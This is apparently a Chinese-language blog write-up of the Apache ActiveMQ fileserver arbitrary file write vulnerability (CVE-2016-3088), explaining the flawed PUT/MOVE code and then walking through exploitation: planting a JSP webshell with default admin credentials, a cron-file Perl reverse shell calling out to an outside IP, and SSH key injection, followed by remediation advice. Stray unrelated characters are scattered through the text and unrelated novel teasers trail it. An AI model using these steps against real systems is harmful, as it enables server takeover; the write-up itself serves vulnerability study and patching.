ActiveMQ任意文件寫入漏洞(CVE-2016-3088)

ActiveMQ 是 Apache 軟件基金會下的一個開源消息驅動中間件軟件体谒。Jetty 是一個開源的 servlet 容器杯聚,它為基于 Java 的 web 容器,例如 JSP 和 servlet 提供運行環(huán)境营密。ActiveMQ 5.0 及以后版本默認集成了jetty械媒。在啟動后提供一個監(jiān)控 ActiveMQ 的 Web 應用目锭。

2016年4月14日评汰,國外安全研究人員 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多個安全漏洞纷捞,可使遠程攻擊者用惡意代碼替代Web應用,在受影響系統(tǒng)上執(zhí)行遠程代碼(CVE-2016-3088)被去,漏洞影響版本:Apache ActiveMQ 5.x ~ 5.14.0主儡。

ZoomEye 上用 日期 和 ActiveMQ 作為關鍵詞檢索,分別探測了2015年1月1日(漏洞爆發(fā)前一年)和2017年1月1日(漏洞爆發(fā)后一年)互聯(lián)網上 ActiveMQ 的總量情況惨缆,如下糜值。

ActiveMQ的web控制臺分三個應用,admin坯墨、api和fileserver寂汇,其中admin是管理員頁面,api是接口捣染,fileserver是儲存文件的接口骄瓣;admin和api都需要登錄后才能使用,fileserver無需登錄耍攘。

fileserver是一個RESTful API接口榕栏,我們可以通過GET、PUT蕾各、DELETE等HTTP請求對其中存儲的文件進行讀寫操作扒磁,其設計目的是為了彌補消息隊列操作不能傳輸、存儲二進制文件的缺陷式曲,但后來發(fā)現(xiàn):

  1. 其使用率并不高
  2. 文件操作容易出現(xiàn)漏洞

所以妨托,ActiveMQ在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之)吝羞;在5.14.0版本以后始鱼,徹底刪除了fileserver應用。

原理

首先下載源碼脆贵,ActiveMQ 中的 FileServer 服務允許用戶通過 HTTP PUT 方法上傳文件到指定目錄医清,在..\activemq-parent-5.7.0-source-release\activemq-parent-5.7.0\activemq-fileserver\src\main\java\org\apache\activemq\util目錄下的RestFilter.java文件中可以看到put的處理方法。

    protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        if (LOG.isDebugEnabled()) {
            LOG.debug("RESTful file access: PUT request for " + request.getRequestURI());
        }

        if (writePermissionRole != null && !request.isUserInRole(writePermissionRole)) {
            response.sendError(HttpURLConnection.HTTP_FORBIDDEN);
            return;
        }

        File file = locateFile(request);

        if (file.exists()) {
            boolean success = file.delete(); // replace file if it exists
            if (!success) {
                response.sendError(HttpURLConnection.HTTP_INTERNAL_ERROR); // file
                                                                            // existed
                                                                            // and
                                                                            // could
                                                                            // not
                                                                            // be
                                                                            // deleted
                return;
            }
        }

用戶可以上傳文件到指定目錄卖氨,該路徑在 ..\activemq-parent-5.7.0-source-release\activemq-parent-5.7.0\assembly\src\release\conf 中定義会烙,如下:

                        <bean class="org.eclipse.jetty.webapp.WebAppContext">
                            <property name="contextPath" value="/fileserver" />
                            <property name="resourceBase" value="${activemq.home}/webapps/fileserver" />
                            <property name="logUrlOnStart" value="true" />
                            <property name="parentLoaderPriority" value="true" />
                        </bean>

其中put方法調用了如下函數:

    private File locateFile(HttpServletRequest request) {
        return new File(filterConfig.getServletContext().getRealPath(request.getServletPath()), request.getPathInfo());
    }

后臺調用move關鍵代碼如下:

    protected void doMove(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        if (LOG.isDebugEnabled()) {
            LOG.debug("RESTful file access: MOVE request for " + request.getRequestURI());
        }

        if (writePermissionRole != null && !request.isUserInRole(writePermissionRole)) {
            response.sendError(HttpURLConnection.HTTP_FORBIDDEN);
            return;
        }

        File file = locateFile(request);
        String destination = request.getHeader(HTTP_HEADER_DESTINATION);

        if (destination == null) {
            response.sendError(HttpURLConnection.HTTP_BAD_REQUEST, "Destination header not found");
            return;
        }

        try {
            URL destinationUrl = new URL(destination);
            IOHelper.copyFile(file, new File(destinationUrl.getFile()));
            IOHelper.deleteFile(file);
        } catch (IOException e) {
            response.sendError(HttpURLConnection.HTTP_INTERNAL_ERROR); // file
                                                                        // could
                                                                        // not
                                                                        // be
                                                                        // moved
            return;
        }

可以看到該方法對目錄路徑沒有任何限制和過濾,因此漏洞原理如下:

fileserver支持寫入文件(但不解析jsp)筒捺,同時支持移動文件(MOVE請求)柏腻。所以,我們只需要寫入一個文件系吭,然后使用MOVE請求將其移動到任意位置五嫂,造成任意文件寫入漏洞。

利用

文件寫入有幾種利用方法:

  1. 寫入webshell
  2. 寫入cron或ssh key等文件
  3. 寫入jar或jetty.xml等庫和配置文件

寫入webshell的好處是,門檻低更方便沃缘,但前面也說了fileserver不解析jsp躯枢,admin和api兩個應用都需要登錄才能訪問,所以有點雞肋槐臀;寫入cron或ssh key锄蹂,好處是直接反彈拿shell,也比較方便水慨,缺點是需要root權限得糜;寫入jar,稍微麻煩點(需要jar的后門)晰洒,寫入xml配置文件朝抖,這個方法比較靠譜,但有個雞肋點是:我們需要知道activemq的絕對路徑谍珊。

webshell

需要寫在admin或api應用中槽棍,而這倆應用都需要登錄才能訪問,默認賬號及密碼都為admin抬驴,我們可以通過put上傳webshell到fileserver目錄:

我們發(fā)現(xiàn)提示401炼七,是需要登錄的,所以說比較雞肋布持。我們登錄之后再put

我們通過訪問fileserver/1.jsp發(fā)現(xiàn)上傳已經成功豌拙,但是由于該目錄沒有執(zhí)行權限,所以沒有解析:

接下來通過move移動到admin或者api下:

首先要知道絕對路徑在哪题暖,這里有兩種方法:

  1. 訪問http://your-ip:8161/admin/test/systemProperties.jsp按傅,查看ActiveMQ的絕對路徑:

2.通過偽造特殊的上傳路徑爆出絕對路徑(5.7.0 復現(xiàn)):

接下來通過move方法,將木馬文件移動到api或者admin:

接下來訪問木馬:

成功解析胧卤。

寫入crontab唯绍,自動化彈shell

這個方法需要ActiveMQ是root運行,否則也不能寫入cron文件枝誊。
這是一個比較穩(wěn)健的方法况芒。首先上傳cron配置文件(注意,換行一定要\n叶撒,不能是\r\n绝骚,否則crontab執(zhí)行會失敗):

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.17.131";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

將其移動到/etc/cron.d/root:

發(fā)現(xiàn)計劃任務已經寫入祠够,等待反彈shell即可压汪。

這個方法需要ActiveMQ是root運行,否則也不能寫入cron文件古瓤。

上傳SSH公鑰

首先生成密鑰對止剖。(如果已存在則不需要)

然后上傳腺阳、移動到/root/.ssh/并重命名為authorized_keys

之后ssh登錄即可

寫入jetty.xml或jar

理論上我們可以覆蓋jetty.xml,將admin和api的登錄限制去掉穿香,然后再寫入webshell亭引。

有的情況下,jetty.xml和jar的所有人是web容器的用戶扔水,所以相比起來痛侍,寫入crontab成功率更高一點朝氓。

解決方案:

  1. ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除魔市。建議用戶升級至 5.14.0 及其以后版本。

  2. 通過移除 conf\jetty.xml 的以下配置來禁用 ActiveMQ Fileserver 功能

參考鏈接:

  1. https://www.seebug.org/vuldb/ssvid-96268
  2. https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末赵哲,一起剝皮案震驚了整個濱河市待德,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌枫夺,老刑警劉巖将宪,帶你破解...
    沈念sama閱讀 218,204評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異橡庞,居然都是意外死亡较坛,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,091評論 3 395
  • 文/潘曉璐 我一進店門扒最,熙熙樓的掌柜王于貴愁眉苦臉地迎上來丑勤,“玉大人,你說我怎么就攤上這事吧趣》ň海” “怎么了?”我有些...
    開封第一講書人閱讀 164,548評論 0 354
  • 文/不壞的土叔 我叫張陵强挫,是天一觀的道長岔霸。 經常有香客問我,道長俯渤,這世上最難降的妖魔是什么呆细? 我笑而不...
    開封第一講書人閱讀 58,657評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮八匠,結果婚禮上侦鹏,老公的妹妹穿的比我還像新娘。我一直安慰自己臀叙,他們只是感情好略水,可當我...
    茶點故事閱讀 67,689評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著劝萤,像睡著了一般给猾。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上逮栅,一...
    開封第一講書人閱讀 51,554評論 1 305
  • 那天,我揣著相機與錄音胸私,去河邊找鬼。 笑死鳖谈,一個胖子當著我的面吹牛岁疼,可吹牛的內容都是我干的。 我是一名探鬼主播缆娃,決...
    沈念sama閱讀 40,302評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼捷绒,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了贯要?” 一聲冷哼從身側響起暖侨,我...
    開封第一講書人閱讀 39,216評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎崇渗,沒想到半個月后字逗,有當地人在樹林里發(fā)現(xiàn)了一具尸體,經...
    沈念sama閱讀 45,661評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡宅广,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,851評論 3 336
  • 正文 我和宋清朗相戀三年葫掉,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片跟狱。...
    茶點故事閱讀 39,977評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡俭厚,死狀恐怖,靈堂內的尸體忽然破棺而出兽肤,到底是詐尸還是另有隱情套腹,我是刑警寧澤,帶...
    沈念sama閱讀 35,697評論 5 347
  • 正文 年R本政府宣布资铡,位于F島的核電站电禀,受9級特大地震影響,放射性物質發(fā)生泄漏笤休。R本人自食惡果不足惜尖飞,卻給世界環(huán)境...
    茶點故事閱讀 41,306評論 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望店雅。 院中可真熱鬧政基,春花似錦、人聲如沸闹啦。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,898評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽窍奋。三九已至荐健,卻和暖如春酱畅,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背江场。 一陣腳步聲響...
    開封第一講書人閱讀 33,019評論 1 270
  • 我被黑心中介騙來泰國打工纺酸, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人址否。 一個月前我還...
    沈念sama閱讀 48,138評論 3 370
  • 正文 我出身青樓餐蔬,卻偏偏與公主長得像,于是被迫代替她去往敵國和親佑附。 傳聞我的和親對象是個殘疾皇子樊诺,可洞房花燭夜當晚...
    茶點故事閱讀 44,927評論 2 355

推薦閱讀更多精彩內容

  • 個人專題目錄[http://www.reibang.com/p/140e2a59db2c] 一、JMS簡介 全稱...
    Java及SpringBoot閱讀 2,084評論 0 10
  • Spring Web MVC Spring Web MVC 是包含在 Spring 框架中的 Web 框架帮匾,建立于...
    Hsinwong閱讀 22,403評論 1 92
  • 一套實用的滲透測試崗位面試題啄骇,你會嗎痴鳄? 1.拿到一個待檢測的站瘟斜,你覺得應該先做什么? 收集信息 whois痪寻、網站源...
    g0閱讀 4,833評論 0 9
  • 數據結構隊列集合鏈表螺句、數組字典、關聯(lián)數組棧樹二叉樹完全二叉樹平衡二叉樹二叉查找樹(BST)紅黑樹B-橡类,B+蛇尚,B*樹...
    jackcooper閱讀 3,282評論 1 50
  • 該書以小說的形式,闡述的是心靈修為的內容顾画,當一個人充滿了快樂取劫,正面積極的思想時,那么好的人或者事物會與它引起共鳴研侣,...
    哆啦的信箱閱讀 267評論 5 1